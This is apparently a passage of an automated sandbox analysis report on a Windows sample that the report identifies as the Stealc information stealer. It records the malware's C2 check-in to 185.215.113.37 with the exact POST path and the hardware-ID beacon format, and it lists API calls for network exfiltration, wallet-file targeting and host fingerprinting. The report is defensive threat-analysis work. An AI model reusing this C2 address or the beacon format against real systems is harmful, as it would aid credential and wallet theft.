tktydact	0x692000	0x1000	0x400	255bc4c04371b01a38fb963094be8e25	False	0.7568359375	data	6.033272398550917	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x693000	0x3000	0x2200	c6f2572ca008f134b05583522c3bcf7e	False	0.34880514705882354	DOS executable (COM)	3.8528935110874127	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-11T12:44:04.440396+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 11, 2024 12:44:03.498017073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 11, 2024 12:44:03.502939939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 11, 2024 12:44:03.503062963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 11, 2024 12:44:03.503468990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 11, 2024 12:44:03.508493900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 11, 2024 12:44:04.194227934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 11, 2024 12:44:04.194291115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 11, 2024 12:44:04.211483002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 11, 2024 12:44:04.216326952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 11, 2024 12:44:04.440160036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 11, 2024 12:44:04.440396070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 11, 2024 12:44:07.252717018 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	3448	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 12:44:03.503468990 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 11, 2024 12:44:04.194227934 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 10:44:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 11, 2024 12:44:04.211483002 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFCAAEBGCAKKFIDBKJJ Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 38 38 36 33 33 37 44 33 30 43 33 38 38 36 35 38 32 35 34 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="hwid"D9886337D30C3886582548------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="build"doma------HCFCAAEBGCAKKFIDBKJJ--
Oct 11, 2024 12:44:04.440160036 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 10:44:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	06:43:59
Start date:	11/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x860000
File size:	1'829'376 bytes
MD5 hash:	ADDE8B6DDCD55DE3DDE9F4EE627CC469
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2050826095.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2091709653.000000000114E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00879860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01161190), ref: 008798A1
GetProcAddress.KERNEL32(75900000,01161298), ref: 008798BA
GetProcAddress.KERNEL32(75900000,01161340), ref: 008798D2
GetProcAddress.KERNEL32(75900000,011613B8), ref: 008798EA
GetProcAddress.KERNEL32(75900000,011611D8), ref: 00879903
GetProcAddress.KERNEL32(75900000,01169498), ref: 0087991B
GetProcAddress.KERNEL32(75900000,01157368), ref: 00879933
GetProcAddress.KERNEL32(75900000,01157568), ref: 0087994C
GetProcAddress.KERNEL32(75900000,01161118), ref: 00879964
GetProcAddress.KERNEL32(75900000,01161130), ref: 0087997C
GetProcAddress.KERNEL32(75900000,011612B0), ref: 00879995
GetProcAddress.KERNEL32(75900000,01161310), ref: 008799AD
GetProcAddress.KERNEL32(75900000,01157588), ref: 008799C5
GetProcAddress.KERNEL32(75900000,01161358), ref: 008799DE
GetProcAddress.KERNEL32(75900000,01161370), ref: 008799F6
GetProcAddress.KERNEL32(75900000,01157508), ref: 00879A0E
GetProcAddress.KERNEL32(75900000,01161160), ref: 00879A27
GetProcAddress.KERNEL32(75900000,011614A8), ref: 00879A3F
GetProcAddress.KERNEL32(75900000,011575A8), ref: 00879A57
GetProcAddress.KERNEL32(75900000,01161448), ref: 00879A70
GetProcAddress.KERNEL32(75900000,01157348), ref: 00879A88
LoadLibraryA.KERNEL32(011614C0,?,00876A00), ref: 00879A9A
LoadLibraryA.KERNEL32(01161400,?,00876A00), ref: 00879AAB
LoadLibraryA.KERNEL32(01161418,?,00876A00), ref: 00879ABD
LoadLibraryA.KERNEL32(01161430,?,00876A00), ref: 00879ACF
LoadLibraryA.KERNEL32(01161460,?,00876A00), ref: 00879AE0
GetProcAddress.KERNEL32(75070000,01161478), ref: 00879B02
GetProcAddress.KERNEL32(75FD0000,01161490), ref: 00879B23
GetProcAddress.KERNEL32(75FD0000,01169B00), ref: 00879B3B
GetProcAddress.KERNEL32(75A50000,01169B18), ref: 00879B5D
GetProcAddress.KERNEL32(74E50000,011572E8), ref: 00879B7E
GetProcAddress.KERNEL32(76E80000,01169488), ref: 00879B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00879BB6

Strings

NtQueryInformationProcess, xrefs: 00879BAA

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 768e60604c164e94284c4fd93d5bbe52c4635418c4cef43f3e893915aa2557ad
Instruction ID: 1e5bcc97b47987ea71b2905b462f20bc1cc0620f8582dd1ea0758b780ea74bf3
Opcode Fuzzy Hash: 768e60604c164e94284c4fd93d5bbe52c4635418c4cef43f3e893915aa2557ad
Instruction Fuzzy Hash: 36A13FB66002529FD395EFE8ED88A6637F9F76E301704851AE609C32E4D7399843CF52

Function 008645C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0086460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0086479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00864662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00864617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008645F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0086473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0086466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00864729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0086462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00864683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008646C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008645D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0086474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00864643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008645DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00864657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008646CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008646D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0086471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00864678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00864622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00864638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00864734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008645C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00864770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00864765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008646B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008646AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0086477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 008645E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00864713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0086475A

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: b26bbaff56d108c9e2f4ce6aae254cdd19082c12e142a645445375009e39a3e8
Instruction ID: 657c2da8e21341862c30f15941a93b74ddf5221aaf7b669631ab27b3f9b74c82
Opcode Fuzzy Hash: b26bbaff56d108c9e2f4ce6aae254cdd19082c12e142a645445375009e39a3e8
Instruction Fuzzy Hash: 3E41F6607C260C6ACE24B7A4AC6EDFD7756FF63744F506054EC60B2780CBF86A894726

Function 00864880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0087A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0087A7E6

Part of subcall function 008647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00864839
Part of subcall function 008647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00864849

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00864915
StrCmpCA.SHLWAPI(?,0116ED88), ref: 0086493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00864ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00880DDB,00000000,?,?,00000000,?,",00000000,?,0116ED18), ref: 00864DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00864E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00864E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00864E49
InternetCloseHandle.WININET(00000000), ref: 00864EAD
InternetCloseHandle.WININET(00000000), ref: 00864EC5
HttpOpenRequestA.WININET(00000000,0116EDA8,?,0116E750,00000000,00000000,00400100,00000000), ref: 00864B15

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

Part of subcall function 0087A920: lstrcpy.KERNEL32(00000000,?), ref: 0087A972
Part of subcall function 0087A920: lstrcat.KERNEL32(00000000), ref: 0087A982

InternetCloseHandle.WININET(00000000), ref: 00864ECF

Strings

------, xrefs: 00864B28
", xrefs: 00864BF2
", xrefs: 00864D33
------, xrefs: 00864C69
------, xrefs: 008649BD

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 6ede43e09007dc41e93c958c1f4c5eb7aca8e972c0f429193bc7b1f58a5ab3da
Instruction ID: 3e9142d4d81e1cf55e8a7232fd54e396dbb61fac51516283844269a5a8270678
Opcode Fuzzy Hash: 6ede43e09007dc41e93c958c1f4c5eb7aca8e972c0f429193bc7b1f58a5ab3da
Instruction Fuzzy Hash: 14120F719101189ADB19EBA4DC92FEEB778FF54300F5081A9B11AA2095DF706F49CF63

Function 008778E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00877910
RtlAllocateHeap.NTDLL(00000000), ref: 00877917
GetComputerNameA.KERNEL32(?,00000104), ref: 0087792F

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 1d04dcff6daf5c2842bd87c2ad8b8f811ccbe071d6c4fa9b6b784e00c905cfff
Instruction ID: 4edf2b6d2abe5ffd4f0246f480d328253b4db706c584b2b45e3b518a2eef6f09
Opcode Fuzzy Hash: 1d04dcff6daf5c2842bd87c2ad8b8f811ccbe071d6c4fa9b6b784e00c905cfff
Instruction Fuzzy Hash: 340186B1904209EFC700DFD4DD45BAABBF8FB05B21F104219F645E3280C3785904CBA2

Function 00877850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,008611B7), ref: 00877880
RtlAllocateHeap.NTDLL(00000000), ref: 00877887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0087789F

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

